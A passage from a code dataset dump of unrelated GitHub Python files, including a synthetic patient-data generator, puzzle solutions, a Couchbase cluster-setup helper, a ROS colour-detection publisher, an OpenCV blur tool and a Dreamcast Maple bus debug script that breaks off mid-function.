\n","repo_name":"pyrrho314/recipesystem","sub_path":"trunk/gempy/gemini/eti/gsflateti.py","file_name":"gsflateti.py","file_ext":"py","file_size_in_byte":2908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19143343492","text":"from bs4 import BeautifulSoup\nfrom dateutil.relativedelta import relativedelta\nfrom urllib.parse import urljoin\nimport names\nimport requests\nimport json\nimport random\nimport datetime\nimport string\nimport utils\n\n# RANDOM WORDS\nwordsUrl = \"https://www.mit.edu/~ecprice/wordlist.10000\"\nWORDS = requests.get(wordsUrl).content.splitlines()\nWORDS = [str(word, 'utf-8').capitalize() for word in WORDS if len(word) > 3]\n\n# CONDITIONS\nconditionsUrl = \"https://www.nhsinform.scot/illnesses-and-conditions\"\nresponse = requests.get(conditionsUrl)\nsoup = BeautifulSoup(response.content, 'html.parser')\nconditions = []\nidx = 0\n# For every macro-category panel\nfor panel in soup.find('div', {'id': 'content-start'}).find_all('a', href=True):\n condType = panel.find('h2').text.strip()\n url = panel['href'] # The URL to the conditions of this specific type\n if condType != 'A to Z':\n response = requests.get(urljoin(conditionsUrl, url))\n condSoup = BeautifulSoup(response.content, 'html.parser')\n # For every condition in the macro-category\n for conditionHtml in condSoup.find_all('h2', {'class': 'module__title'}):\n conditions.append({\n \"id\": f\"Co{idx}\",\n \"name\": conditionHtml.text.strip(),\n \"type\": condType,\n \"risk\": round(random.uniform(1, 100), 2)\n })\n idx += 1\nprint(\"Conditions: DONE\")\n\n# THERAPIES\ntherapiesUrl = \"https://en.wikipedia.org/wiki/List_of_therapies\"\nresponse = requests.get(therapiesUrl)\nsoup = BeautifulSoup(response.content, 'html.parser')\ntherapiesHtml = soup.find('div', {'class': 'div-col'}).find_all('a', href=True)\ntherapies = [therapy['title'] for therapy in therapiesHtml]\n# Drugs therapies\nfor letter in string.ascii_lowercase:\n drugsUrl = f\"https://www.drugs.com/alpha/{letter}.html\"\n response = requests.get(drugsUrl)\n soup = BeautifulSoup(response.content, 'html.parser')\n drugsHtml = soup.find('div', {'id': 'content'}).find('ul', {'class': \"ddc-list-column-2\"}).find_all('a', href=True)\n drugs = [drug.text for drug in drugsHtml]\n therapies.extend(drugs)\n# Create the structured therapy\ntherapyTypes = random.sample(WORDS, 50)\ntherapies = [{\"id\": f\"Th{idx}\",\n \"name\": therapy,\n \"type\": random.choice(therapyTypes),\n \"class\": random.choice(['A', 'B', 'C', 'D', 'E', 'F']),\n \"strength\": round(random.uniform(0, 1), 4)}\n for idx, therapy in enumerate(therapies)\n ]\nprint(\"Therapies: DONE\")\n\n# PATIENTS & TEST CASES\nPATIENTS_COUNT = 5\nMIN_AGE = 1\nMAX_AGE = 110\nTESTS_COUNT = 3\n\n# All the patients used as test cases: no repetitions allowed\ntestPatients = set()\ntests = []\npatients = []\ntodayDate = datetime.date.today()\noriginDate = todayDate - relativedelta(years=MAX_AGE)\ntrialsFrequencies = ['5D', '4D', '3D', '2D', 'D', 'W', 'M', 'Y', 'O']\nfor paId in range(PATIENTS_COUNT):\n patientBirthDate = utils.random_date(originDate, todayDate - relativedelta(years=MIN_AGE))\n patientSex = random.choice(['male', 'female'])\n # PATIENT CONDITIONS\n patientConditions = []\n # The history makes sure that if a condition is selected multiple times, it doesn't overlap in time\n conditionsHistory = {}\n # Determine how many conditions affected the patient: min of 1, max of ~4 conditions per year of life\n maxConditions = max(1, 4 * (todayDate.year - patientBirthDate.year) + (todayDate.month - patientBirthDate.month))\n for paCondId in range(random.randint(1, maxConditions)):\n kind = random.choice(conditions)[\"id\"]\n condStartMin = patientBirthDate if kind not in conditionsHistory else conditionsHistory[kind]\n # If a same-kind condition has already been extracted with an ending beyond today date, extract new one\n while condStartMin is None:\n kind = random.choice(conditions)[\"id\"]\n condStartMin = patientBirthDate if kind not in conditionsHistory else conditionsHistory[kind]\n condStart = utils.random_date(condStartMin, todayDate)\n # The minimum duration is a single day, the maximum is null (unresolved) with p=.1\n condEnd = utils.random_date(condStart, todayDate) if random.random() > .1 else None\n # Save in the history that the next condition of the same kind must appear at least 1 week later\n if condEnd is None or condEnd + datetime.timedelta(weeks=1) > todayDate:\n conditionsHistory[kind] = None\n else:\n conditionsHistory[kind] = condEnd + datetime.timedelta(weeks=1)\n # Save the condition\n patientCondition = {\n \"id\": f\"Pa{paId}Co{paCondId}\",\n \"kind\": kind,\n \"diagnosed\": condStart,\n \"cured\": condEnd\n }\n patientConditions.append(patientCondition)\n # Check for adding it to tests\n if len(tests) < TESTS_COUNT and paId not in testPatients and patientCondition[\"cured\"] is None:\n # Add this patient so it can't be chosen as test again\n testPatients.add(paId)\n # Add to tests the patient ID and the patientCondition ID (not the condition ID because could be repeated)\n tests.append((paId, patientCondition[\"id\"]))\n\n # TRIALS\n patientTrials = []\n for paCo in patientConditions:\n condStart = paCo[\"diagnosed\"]\n isCured = paCo[\"cured\"] is not None\n condEnd = paCo[\"cured\"] if isCured else todayDate\n # Determine a sequence of trials for each condition:\n # We assume the order is defined only by the start of the therapy, therefore not caring for overlapping\n conditionTrials = []\n # The number of maximum trials is an arbitrary value depending on the dates difference\n maxTrials = max(1, 2 * abs((condEnd.year - condStart.year)) + abs((condEnd.month - condStart.month))\n + abs((condEnd.day - condStart.day)))\n for thId in range(random.randint(0, maxTrials)):\n # The next therapy may start the same day of the previous (multiple prescribed therapies) or after\n thStart = utils.random_date(condStart, condEnd)\n thEnd = utils.random_date(thStart, condEnd)\n therapy = random.choice(therapies)[\"id\"]\n # Create the new trial\n newTrial = {\n \"id\": f\"Pa{paId}Co{paCo['id']}Th{thId}\",\n \"start\": thStart,\n \"end\": thEnd,\n \"condition\": paCo[\"id\"],\n \"therapy\": therapy,\n \"successful\": random.randint(0, 99),\n \"dosage\": random.randint(0, 20) * 5,\n \"frequency\": random.choice(trialsFrequencies),\n }\n conditionTrials.append(newTrial)\n # After generating the sequence of trials for a certain condition:\n if len(conditionTrials) > 0:\n if isCured:\n # If the condition is cured, the last trail should end with the condition and being 100% successful\n conditionTrials[-1][\"successful\"] = 100\n conditionTrials[-1][\"end\"] = condEnd\n elif conditionTrials[-1][\"end\"] == todayDate and random.random() > .2:\n # If the condition is not cured and the last trials ends on todayDate, it may be still going on\n conditionTrials[-1][\"end\"] = None\n # Add the condition trials to the patient trials\n patientTrials.extend(conditionTrials)\n # Save the patient\n patients.append({\n \"id\": f\"Pa{paId}\",\n \"name\": names.get_full_name(gender=patientSex),\n \"sex\": patientSex,\n \"patientBirthDate\": patientBirthDate,\n \"conditions\": patientConditions,\n \"trials\": patientTrials\n })\nprint(\"Patients: DONE\")\n\ndataset = {\n \"Conditions\": conditions,\n \"Therapies\": therapies,\n \"Patients\": patients\n}\n\n# TEST CASES\nif len(tests) < TESTS_COUNT:\n print(\"Tests: ERROR! Not enough compatible patients found\")\nelse:\n print(\"Tests: DONE\")\n\n# SAVE\nwith open('../data/dataset.json', 'w+') as f:\n json.dump(dataset, f, default=str, separators=(',', ':'))\n\nwith open('../data/tests.txt', 'w+') as f:\n f.write(\"PatientID\\tPatient Condition\\n\")\n for paId, paCondId in tests:\n f.write(f\"{paId}\\t\\t{paCondId}\\n\")\nprint(\"Files saves: DONE\")\n","repo_name":"MatteoZanella/therapy-recommend","sub_path":"src/create_dataset.py","file_name":"create_dataset.py","file_ext":"py","file_size_in_byte":8289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"8758394785","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n\nq = [line.rstrip().split(\" \") for line in open(\"day8_input.txt\")]\n\ndef q_checker(q_variation):\n iterator = -1\n position = 0\n accumulator = 0\n previousIns = {}\n while(iterator < 1000):\n if str(position) in previousIns:\n return('Part 1 answer = ' + str(accumulator))\n previousIns[str(position)] = 1\n if position >= len(q_variation):\n return('Part 2 answer = ' + str(accumulator))\n if q_variation[position][0] == 'acc':\n accumulator += int(q[position][1])\n position += 1\n elif q_variation[position][0] == 'jmp':\n position += int(q[position][1])\n elif q_variation[position][0] == 'nop':\n position += 1\n else:\n print('unknown instruction')\n break\n iterator +=1\n\n# part1\nprint(q_checker(q))\n\n# part2\nfor index, line in enumerate(q):\n if line[0] == \"jmp\":\n q[index][0] = \"nop\"\n outcome = q_checker(q)\n if outcome[5] != \"1\":\n print(outcome)\n q[index][0] = \"jmp\"\n elif line[0] == \"nop\":\n q[index][0] = \"jmp\"\n outcome = q_checker(q)\n if outcome[5] != \"1\":\n print(outcome)\n q[index][0] = \"nop\"\n","repo_name":"TijmenK/AoC2020","sub_path":"day08.py","file_name":"day08.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"12361585052","text":"arr = list(map(int, input().split()))\n\nif arr[0] == 1:\n for i in range(8):\n if arr[i] != i+1:\n print(\"mixed\")\n break\n if i == 7:\n print(\"ascending\")\nelif arr[0] == 8:\n for i in range(8):\n if arr[i] != 8-i:\n print(\"mixed\")\n break\n if i == 7:\n print(\"descending\")\nelse:\n print(\"mixed\")","repo_name":"BigThingisComing/baekjoon","sub_path":"2920.py","file_name":"2920.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"4787992451","text":"import string\n\nif __name__ == '__main__':\n count = dict()\n fhand = open('romeo.txt')\n for line in fhand:\n line = line.rstrip()\n line = line.translate(line.maketrans('', '', string.punctuation))\n line = line.lower()\n words = line.split()\n for word in words:\n count[word] = count.get(word,0) + 1\n print(count)\n","repo_name":"orton98/scientific-computing-with-python","sub_path":"chp_09_dictionaries/remove_punctuation.py","file_name":"remove_punctuation.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"6711942233","text":"import logging\nimport re\nfrom utils import utilities\nfrom controller.helper_lib import sleepForSecond\nfrom db_commands.commands import CommandFactory\nfrom controller.couchbase_lib._mixin_interface import MixinInterface\nfrom db_commands.constants import ENV_VAR_KEY\nfrom controller.resource_builder import Resource\n\nlogger = logging.getLogger(__name__)\n\n# Error string on which we have to skip without raising the Exception\nALREADY_CLUSTER_INIT = \"Cluster is already initialized, use setting-cluster to change settings\"\n\n\nclass _ClusterMixin(Resource, MixinInterface):\n\n def __init__(self, builder):\n super(_ClusterMixin, self).__init__(builder)\n\n @MixinInterface.check_attribute_error\n def generate_environment_map(self):\n env = {'shell_path': self.repository.cb_shell_path, 'hostname': self.connection.environment.host.name,\n 'port': self.parameters.couchbase_port, 'username': self.parameters.couchbase_admin,\n 'cluster_ramsize': self.parameters.cluster_ram_size,\n 'cluster_index_ramsize': self.parameters.cluster_index_ram_size,\n 'cluster_fts_ramsize': self.parameters.cluster_ftsram_size,\n 'cluster_eventing_ramsize': self.parameters.cluster_eventing_ram_size,\n 'cluster_analytics_ramsize': self.parameters.cluster_analytics_ram_size\n }\n # MixinInterface.read_map(env)\n return env\n\n def _get_cluster_name(self):\n cluster_name = None\n if self.dSource:\n cluster_name = self.parameters.stg_cluster_name\n else:\n cluster_name = self.parameters.tgt_cluster_name\n return cluster_name\n\n def cluster_init(self):\n # Cluster initialization\n logger.debug(\"Cluster Initialization started\")\n fts_service = self.parameters.fts_service\n #analytics_service = self.parameters.analytics_service\n eventing_service = self.parameters.eventing_service\n cluster_name = self._get_cluster_name()\n kwargs = {ENV_VAR_KEY: {'password': self.parameters.couchbase_admin_password}}\n additional_service = \"query\"\n if fts_service == True:\n additional_service = additional_service + \",fts\"\n # if analytics_service:\n # additional_service = additional_service + \",analytics\"\n if eventing_service == True:\n additional_service = additional_service + \",eventing\"\n\n logger.debug(\"additional services : {}\".format(additional_service))\n lambda_expr = lambda output: bool(re.search(ALREADY_CLUSTER_INIT, output))\n env = _ClusterMixin.generate_environment_map(self)\n env['additional_services'] = additional_service\n cmd = CommandFactory.cluster_init(cluster_name=cluster_name, **env)\n logger.debug(\"Cluster init: {}\".format(cmd))\n stdout, stderr, exit_code = utilities.execute_bash(self.connection, command_name=cmd, callback_func=lambda_expr,\n **kwargs)\n if re.search(r\"ERROR\", str(stdout)):\n if re.search(r\"ERROR: Cluster is already initialized\", stdout):\n logger.debug(\"Performing cluster setting as cluster is already initialized\")\n self.cluster_setting()\n else:\n logger.error(\"Cluster init failed. Throwing exception\")\n raise Exception(stdout)\n else:\n logger.debug(\"Cluster init succeeded\")\n\n # here we should wait for indexer to start \n sleepForSecond(10)\n return [stdout, stderr, exit_code]\n\n def cluster_setting(self):\n logger.debug(\"Cluster setting process has started\")\n kwargs = {ENV_VAR_KEY: {'password': self.parameters.couchbase_admin_password}}\n cluster_name = self._get_cluster_name()\n env = _ClusterMixin.generate_environment_map(self)\n cmd = CommandFactory.cluster_setting(cluster_name=cluster_name, **env)\n stdout, stderr, exit_code = utilities.execute_bash(self.connection, cmd, **kwargs)\n if re.search(r\"ERROR\", str(stdout)):\n logger.error(\"Cluster modification failed, killing the execution\")\n raise Exception(stdout)\n logger.debug(\"Cluster modification succeeded\")\n return [stdout, stderr, exit_code]\n","repo_name":"delphix/couchbase-plugin","sub_path":"src/controller/couchbase_lib/_cluster.py","file_name":"_cluster.py","file_ext":"py","file_size_in_byte":4308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"800118465","text":"'''\nCreated on 24/04/2014\n\n@author: Ismail Faizi\n'''\nfrom google.appengine.ext import ndb\nfrom models import User, APPLICATION_ID\n\nLEGAL_DOCUMENT_KEY = ndb.Key(\"LegalDocument\", 'root', app = APPLICATION_ID)\n\nclass LegalDocument(ndb.Model):\n title = ndb.StringProperty()\n body = ndb.StringProperty()\n created = ndb.DateTimeProperty(auto_now_add=True)\n modified = ndb.DateTimeProperty(auto_now=True)\n creator = ndb.KeyProperty(kind=User)\n modifiers = ndb.KeyProperty(kind=User, repeated=True)\n \n @classmethod\n def get_tou(cls):\n q = cls.gql(\"WHERE title = 'Term of Use'\")\n doc = q.fetch()\n if len(doc):\n return doc[0].body\n\n return ''\n","repo_name":"shubashri/src","sub_path":"models/legal/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"2784757428","text":"import rospy\nimport cv2\nimport math\nfrom std_msgs.msg import String\n\n\nthreshold = 20\npixel_window_apothem = 10\n\ndef getColor():\n cam = cv2.VideoCapture(cv2.CAP_V4L2)\n cam.set(cv2.CAP_PROP_FOURCC, cv2.VideoWriter_fourcc('M', 'J', 'P', 'G'))\n \n total_b = 0\n total_g = 0\n total_r = 0\n\n #path = r'/home/mgoldberg/Desktop/me588/redblock.jpg'\n #image = cv2.imread(path)\n result, image = cam.read()\n \n if result:\n dimensions = image.shape\n\n height = dimensions[0]\n width = dimensions[1]\n height_middle = int(height / 2)\n width_middle = int(width / 2)\n\n for i in range(height_middle - pixel_window_apothem, height_middle + pixel_window_apothem):\n for j in range(width_middle - pixel_window_apothem, width_middle + pixel_window_apothem):\n total_b += image[i][j][0] #cumulatively adds blue pixel values of every pixel\n total_g += image[i][j][1] #cumulative adding of green pixels\n total_r += image[i][j][2] #cumulative adding of red pixels\n \n num_pixels = (2 * pixel_window_apothem) ** 2\n\n blue_val = math.floor(total_b / num_pixels)\n green_val = math.floor(total_g / num_pixels)\n red_val = math.floor(total_r / num_pixels)\n \n max_val = max(blue_val, green_val, red_val)\n\n if(max_val == blue_val):\n return(\"blue\")\n elif((max_val == red_val or max_val == green_val) and (abs(red_val - green_val) <= threshold)):\n return(\"yellow\")\n elif(max_val == red_val):\n return(\"red\")\n elif(max_val == green_val):\n return(\"green\")\n else:\n return(\"no cube\")\n else:\n return 'no image'\n\ndef publisher():\n pub = rospy.Publisher('color_detected', String, queue_size=10)\n rospy.init_node('publisher', anonymous=True)\n rate = rospy.Rate(10)\n while not rospy.is_shutdown():\n color = getColor()\n #rospy.loginfo(color)\n pub.publish(color)\n rate.sleep()\n\nif __name__ == '__main__':\n try:\n publisher()\n except rospy.ROSInterruptException:\n pass\n","repo_name":"MickleG/michael_goldberg_code_examples","sub_path":"catkin_ws/build/beginner_tutorials/catkin_generated/installspace/publisher.py","file_name":"publisher.py","file_ext":"py","file_size_in_byte":2157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"34651694566","text":"\r\n'''\r\nBlurring Program using convolution technique with OpenCV2\r\n\r\n*Revision History*\r\n2018-04-28 Originally written by Chanhaeng\r\n\r\n'''\r\nimport numpy as np\r\nimport cv2\r\nfrom tkinter import filedialog\r\nfrom tkinter import *\r\n\r\n# IMG Load using file dialog\r\ndef ChanIMGload(mode):\r\n root = Tk()\r\n root.filename = filedialog.askopenfilename()\r\n if not root.filename:\r\n print(\"Error! You didn't specify file name for load\")\r\n root.destroy()\r\n return None\r\n \r\n print(\"Loading \", root.filename, \" . . .\")\r\n IMG = cv2.imread(root.filename, mode)\r\n root.destroy()\r\n return IMG\r\n\r\n# IMG Save using file dialog\r\ndef ChanIMGSave(IMG):\r\n root = Tk()\r\n root.filename = filedialog.asksaveasfilename(title=\"Save a file\", defaultextension='.jpg.',\r\n filetypes=[('image files', ('.jpg'))])\r\n if not root.filename:\r\n print(\"Error! You didn't specify file name for save\")\r\n root.destroy()\r\n return None\r\n\r\n check = cv2.imwrite(root.filename, IMG)\r\n if check is True:\r\n print(\"Image Save Done! \", root.filename)\r\n else:\r\n print(\"Fail to save the image \", root.filename)\r\n root.destroy()\r\n return check\r\n \r\n\r\n# in order to pass Null function on createTrackbar()\r\ndef nothing(x): \r\n pass\r\n\r\nRADIUS = 3.14 * 2\r\nMASK_SIZE = 5\r\nChanBlurMask = np.ones((MASK_SIZE,MASK_SIZE),np.float32) / (MASK_SIZE * MASK_SIZE)\r\n\r\n# Main facility of this program\r\ndef chanBlur(event, x, y, flags, userdata):\r\n global InputImage\r\n \r\n if event == cv2.EVENT_LBUTTONDOWN:\r\n if InputImage is not None:\r\n for radiusY in range(int(y - RADIUS), int(y + RADIUS)):\r\n for radiusX in range(int(x - RADIUS), int(x + RADIUS)):\r\n b = 0\r\n g = 0\r\n r = 0\r\n for checkY, my in zip(range(radiusY- int(MASK_SIZE/2), radiusY + int(MASK_SIZE/2) + 1), range(MASK_SIZE)):\r\n for checkX, mx in zip(range(radiusX - int(MASK_SIZE/2), radiusX + int(MASK_SIZE/2) + 1), range(MASK_SIZE)):\r\n b += InputImage[checkY,checkX,0] * ChanBlurMask[my,mx]\r\n g += InputImage[checkY,checkX,1] * ChanBlurMask[my,mx]\r\n r += InputImage[checkY,checkX,2] * ChanBlurMask[my,mx]\r\n if b > 255 : b = 255\r\n elif b < 0: b = 0\r\n if g > 255 : g = 255\r\n elif g < 0: g = 0\r\n if r > 255 : r = 255\r\n elif r < 0: r = 0\r\n \r\n InputImage[radiusY,radiusX] = np.uint8([b,g,r])\r\n\r\n\r\n# make Window\r\nCV_WINDOW_NAME = \"Chan Test\"\r\n\r\ncv2.namedWindow(CV_WINDOW_NAME, cv2.WINDOW_NORMAL)\r\n\r\n# In order to use the defined length of trackbar in Window.\r\ndesiredWidth = 640\r\ndesiredHeight = 480\r\ncv2.resizeWindow(CV_WINDOW_NAME, desiredWidth, desiredHeight)\r\n\r\n# make Trackbars for loading and saving a image.\r\nswitch1 = \"1 : Load\"\r\nswitch2 = \"1 : Save\"\r\ncv2.createTrackbar(switch1, CV_WINDOW_NAME, 0, 1, nothing)\r\ncv2.createTrackbar(switch2, CV_WINDOW_NAME, 0, 1, nothing)\r\n\r\n# Setup before main loop\r\n\r\nInputImage = None # the resource image a user want to blur\r\nisShow = False # Main boolean variable to show a image, related to InputImage\r\ncv2.setMouseCallback(CV_WINDOW_NAME, chanBlur, InputImage) # Set mouse function. A user can blur a image with a mouse button click\r\n\r\n# Main Loop\r\nwhile True : \r\n if cv2.waitKey(1) & 0xFF == 27: # ESC KEY\r\n break\r\n if cv2.getWindowProperty(CV_WINDOW_NAME, 0) < 0: # WINDOW EXIT BUTTON\r\n break\r\n \r\n load = cv2.getTrackbarPos(switch1, CV_WINDOW_NAME)\r\n save = cv2.getTrackbarPos(switch2, CV_WINDOW_NAME)\r\n\r\n if load == 1: # If a user wants to load a image\r\n cv2.setTrackbarPos(switch1, CV_WINDOW_NAME, 0)\r\n InputImage = ChanIMGload(1)\r\n # Error Handling\r\n if InputImage is None:\r\n print(\"Please Load a image Again\")\r\n isShow = False\r\n else:\r\n isShow = True\r\n \r\n if save == 1: # If a user wants to save an image\r\n cv2.setTrackbarPos(switch2, CV_WINDOW_NAME, 0)\r\n\r\n # Error Handling\r\n if isShow == False:\r\n print(\"Load your Image Before Save\")\r\n else:\r\n check = ChanIMGSave(InputImage)\r\n if check == False or check == None:\r\n print(\"Please Save your Image Again\")\r\n\r\n # Show an image only when the InputImage variable has an exact data.\r\n if isShow == True:\r\n cv2.imshow(CV_WINDOW_NAME, InputImage)\r\n \r\ncv2.destroyAllWindows()\r\n","repo_name":"lch32111/Simple-Blur-Program-by-python","sub_path":"blur.py","file_name":"blur.py","file_ext":"py","file_size_in_byte":4686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"12857373750","text":"quantidade_morango = float(input('Quantidade de morangos em Kg: ')) \nquantidade_maca = float(input('Quantidade de maça em Kg: ')) \nvalor_pagar_morango = valor_pagar_maca = valor_a_pagar = quantidade_frutas = 0.0\n\nif quantidade_morango <= 5:\n valor_pagar_morango = quantidade_morango * 2.5\nelif quantidade_morango > 5:\n valor_pagar_morango = quantidade_morango * 2.2\n\nif quantidade_maca <= 5:\n valor_pagar_maca = quantidade_maca * 1.8\nelif quantidade_morango > 5:\n valor_pagar_maca = quantidade_maca * 1.5\n\nvalor_a_pagar = valor_pagar_maca + valor_pagar_morango\nquantidade_frutas = quantidade_maca + quantidade_morango\n\nif valor_a_pagar > 25 or quantidade_frutas > 8:\n valor_a_pagar = valor_a_pagar / 1.1\nprint(f'Valor a ser pago é: R$ {(valor_a_pagar):.2f}')\n","repo_name":"tiagotardelli/lista-python-brasil","sub_path":"02_estrutura_de_decisao/27_exercicio.py","file_name":"27_exercicio.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"pt","doc_type":"code","stars":4,"dataset":"github-code","pt":"81"} +{"seq_id":"4848140844","text":"from pickletools import optimize\nfrom imitation_tools.data_prep import posVelSlice, featureSlice, toFeatureSlices\nfrom pipeline_tools.learning import fitnessLinearReg, dataForLinReg, sliceBasedLoss\nfrom sim_tools.sim import SimParams\nfrom functools import partial\nimport plotly.express as px\nimport numpy as np\n\n# tests to ensure data is well formed(ASSUMING FULL PRIOR KNOWLEDGE, DEBUGGING)\n\n# use exact fitness function\n\n# needs to be fixed for social features\n\ndef testTrueNeighborRadius(posVelSlices: list, orig_params: SimParams, learning_features: dict):\n fitness_fn = fitnessLinearReg(posVelSlices, orig_params, learning_features)\n return -1*fitness_fn([orig_params.neighbor_radius], 0) # returning loss\n\n\ndef plotNeighborRadius(posVelSlices: list, orig_params: SimParams, learning_features: dict):\n fitness_fn = fitnessLinearReg(posVelSlices, orig_params, learning_features)\n x = np.linspace(0, 10, 50)\n y = [fitness_fn([a],0) for a in x]\n fig = px.line(x=x, y=y)\n fig.update_layout(title=\"Neighbor Radius\")\n fig.show()\n\n\ndef testTrueGainsLinear(true_gains, featureSlices: list, params: SimParams):\n # validating true gains in same way as lin reg(optimally should )\n x_flat, y_flat=dataForLinReg(featureSlices, params, verbose = False)\n true_loss=0\n for i in range(len(x_flat)):\n v_pred=np.dot(x_flat[i].transpose(), true_gains)\n v_actual=y_flat[i]\n true_loss += np.sum(np.abs(v_pred-v_actual))\n return true_loss\n\ndef testTrueGainsNonLinear(true_gains, featureSlices: list, params: SimParams, maxSample: int = 5000):\n np.random.shuffle(featureSlices) # since we subsample the data\n loss_fn=sliceBasedLoss(\n featureSlices[:min(len(featureSlices), maxSample)], params)\n return loss_fn(true_gains)\n","repo_name":"wvu-robotics/REU_MatlabSim","sub_path":"matlab/REU_2022/Topic_1_ Imitating_Swarms/SwarmSimClassSeparationPy/pipeline_tools/prevalidation.py","file_name":"prevalidation.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"4436662309","text":"#!/usr/bin/env python\n# copy of large chunks of maple.py for debug / testing purposes.\nimport sys\nimport struct\nimport select\nimport serial\nimport time\nimport argparse\nimport collections\n\nPORT='/dev/tty.usbserial-A700ekGi' # OS X (or similar)\nFN_CONTROLLER = 1\nFN_MEMORY_CARD = 2\nFN_LCD = 0x4\nFN_CLOCK = 0x8\nFN_MICROPHONE = 0x10\nFN_AR_GUN = 0x20\nFN_KEYBOARD = 0x40\nFN_LIGHT_GUN = 0x80\nFN_PURU_PURU = 0x100\nFN_MOUSE = 0x200\n\nFN_CODE_MAP = {FN_CONTROLLER: 'CONTROLLER', FN_MEMORY_CARD: \"MEMORY_CARD\",\n FN_LCD: \"LCD\", FN_CLOCK: \"CLOCK\", FN_MICROPHONE: \"MICROPHONE\",\n FN_AR_GUN: \"AR_GUN\", FN_KEYBOARD: \"KEYBOARD\", FN_LIGHT_GUN: \"LIGHT_GUN\",\n FN_PURU_PURU: \"PURU_PURU\", FN_MOUSE: \"MOUSE\"}\n\n# Device commands \nCMD_INFO = 0x01\nCMD_INFO_EXT = 0x02\nCMD_RESET = 0x03\nCMD_SHUTDOWN = 0x04\nCMD_INFO_RESP = 0x05\nCMD_INFO_EXT_RESP = 0x06\nCMD_ACK_RESP = 0x07\nCMD_XFER_RESP = 0x08\nCMD_GET_COND = 0x09\nCMD_GET_MEMINFO = 0x0A\nCMD_READ = 0x0B\nCMD_WRITE = 0x0C\nCMD_WRITE_COMPLETE = 0x0D\nCMD_SET_COND = 0x0E\nCMD_NO_RESP = 0xFF\nCMD_UNSUP_FN_RESP = 0xFE\nCMD_UNKNOWN_RESP = 0xFD\nCMD_RESEND_RESP = 0xFC\nCMD_FILE_ERR_RESP = 0xFB\n\n\n# Hardcoded recipient addresses.\n# Controller, main peripheral, port A\nADDRESS_CONTROLLER = 1 << 5 \n# Controller, first sub-peripheral, port A\nADDRESS_PERIPH1 = 1\n# Dreamcast, magic value, port A\nADDRESS_DC = 0\n\n# At least this many trailing samples must have both pins high in order for the receive to be\n# considered complete.\nIDLE_SAMPLES_INDICATING_COMPLETION = 8\n\nSKIP_LOOP_LENGTH = 2 # size is given in samples\n\n# Safety factor for skip loop to give us a chance to align subsequences -- turns out not to be needed\nRX_SKIP_SAFETY_FACTOR = 0 # samples\n\n# Number of samples stored per byte.\nRAW_SAMPLES_PER_BYTE = 4\n\nlog = print\n\ndef debug_hex(packet):\n def ascii(b):\n return ' %c' % (b,) if 32 <= b <= 127 else '%02x' % (b,)\n\n #display = ['%02x %c ' % (item, ascii(item)) for item in packet]\n #return ''.join(display)\n return ''.join(ascii(item) for item in packet)\n\ndef debug_txt(packet):\n return bytes([c if int(c) >= ord(' ') and int(c) <= ord('z') else ord('.') for c in packet])\n\ndef print_header(data):\n words = data[0]\n sender = data[1]\n recipient = data[2]\n command = data[3]\n print(\"Command %x sender %x recipient %x length %x\" % (command, recipient, sender, words))\n\ndef swapwords(s):\n swapped = []\n while s:\n swapped.append(s[:4][-1::-1])\n s = s[4:]\n return b''.join(swapped)\n\ndef get_command(data):\n if data:\n return data[3]\n else:\n return None\n\ndef decode_func_codes(code):\n names = []\n for candidate in sorted(FN_CODE_MAP.keys()):\n if code & candidate:\n names.append(FN_CODE_MAP[candidate])\n\n return names\n\nBUTTONS = [\"C\", \"B\", \"A\", \"START\", \"UP\", \"DOWN\", \"LEFT\", \"RIGHT\",\n \"Z\", \"Y\", \"X\", \"D\", \"UP2\", \"DOWN2\", \"LEFT2\", \"RIGHT2\"]\ndef print_controller_info(data):\n print_header(data)\n data = data[4:] # Header\n data = data[4:] # Func\n data = data[:-1] # CRC\n data = swapwords(data)\n buttons = struct.unpack(\"= 2:\n sys.stdout.write('%s ' % ('^c' if debug_bits_list[i][1] == 1 else 'c^'))\n else:\n sys.stdout.write(' ')\n\n sys.stdout.write('\\n')\n\n for i in range(offset, end):\n if len(debug_bits_list[i]) == 3:\n character = debug_bits_list[i][2]\n sys.stdout.write(' %c ' % (character,) if 32 <= character < 128 else '%02x ' % (character,))\n else:\n sys.stdout.write(' ')\n\n sys.stdout.write('\\n')\n\n #print('debit', '{0:08b}{1:08b}{2:08b}{3:08b}'.format(output[0], output[1], output[2], output[3]))\n print('bitcount', bitcount)\n\n # the recv was completed if at least the last IDLE_SAMPLES_INDICATING_COMPLETION samples\n # are all '11'.\n recv_completed = num_samples_all_high >= IDLE_SAMPLES_INDICATING_COMPLETION\n\n if recv_completed:\n # TODO: why?\n output = output[:-1]\n\n num_samples = (len(bitstring) * RAW_SAMPLES_PER_BYTE) - samples_this_byte\n return DecodedRx(result=bytes(output), num_samples=num_samples, completed=recv_completed)\n\ndef align_messages(prev, current):\n return prev + current\n\ndef calculate_recv_skip(samples_so_far):\n \" Calculate the amount to skip forward. \"\n samples_to_skip = max(0, samples_so_far - RX_SKIP_SAFETY_FACTOR)\n return samples_to_skip // SKIP_LOOP_LENGTH\n\nclass MapleProxy(object):\n def __init__(self, port=PORT):\n log(\"connecting to %s\" % (port))\n self.handle = serial.Serial(port, 57600, timeout = 1)\n\n total_sleep = 0\n while total_sleep < 5:\n print(\"are you there?\")\n self.handle.write(b'\\x00\\x00\\x00') 